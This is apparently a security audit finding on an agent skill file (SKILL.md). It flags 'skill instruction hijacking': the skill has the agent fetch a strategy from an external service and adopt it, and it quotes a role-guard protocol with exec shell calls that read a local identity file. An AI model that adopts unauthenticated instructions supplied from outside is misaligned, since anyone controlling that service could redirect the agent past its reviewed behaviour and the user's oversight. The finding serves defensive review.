T01 · Skill Instruction Hijacking
- Location
SKILL.md:24- Finding
Externally Controlled Strategy Selection and Agent Role Hijacking
- Content
View full analysis
/dev/null || echo '{\"strategy\":\"use_default\"}'") ``` If confidence >= 0.7 → use returned strategy. If confidence < 0.7 or query fails → use the protocol below. ``` ```markdown ## Protocol 8 — Agent Role Guard **When:** You are an orchestrator agent and about to execute a task directly. **How to identify if you are an orchestrator:** ``` exec("cat ~/.openclaw/workspace/IDENTITY.md 2>/dev/null | grep -i 'orchestrat\|role\|coordinator' | head -3") ``` **If you ARE an orchestrator:** - NEVER use exec, write, browser, or message tools directly to complete user tasks - ALWAYS delegate via sessions_spawn to the correct specialist agent - Your tools: sessions_spawn, sessions_send, session_status, agents_list ONLY **If you catch yourself executing directly:** 1. Stop immediately 2. Identify which specialist agent should handle this 3. Delegate via sessions_spawn: ``` sessions_spawn({ task: "{the task you were about to execute}", agentId: "{correct specialist agent id}", label: "vial-delegated" }) ``` **Why this matters:** Orchestrators that execute directly consume all tokens, break pipeline isolation, and prevent specialist agents from doing their job. ``` ### Technical Analysis The skill instructs the agent to retrieve a repair strategy from an external service and adopt it when the service reports confidence of at least `0.7`. No local schema, fixed strategy allowlist, cryptographic authentication, or semantic validation is defined for the returned strategy. Consequently, the effective instructions can change after the skill has been reviewed. ...[truncated 1603 chars]- Remediation
View remediation
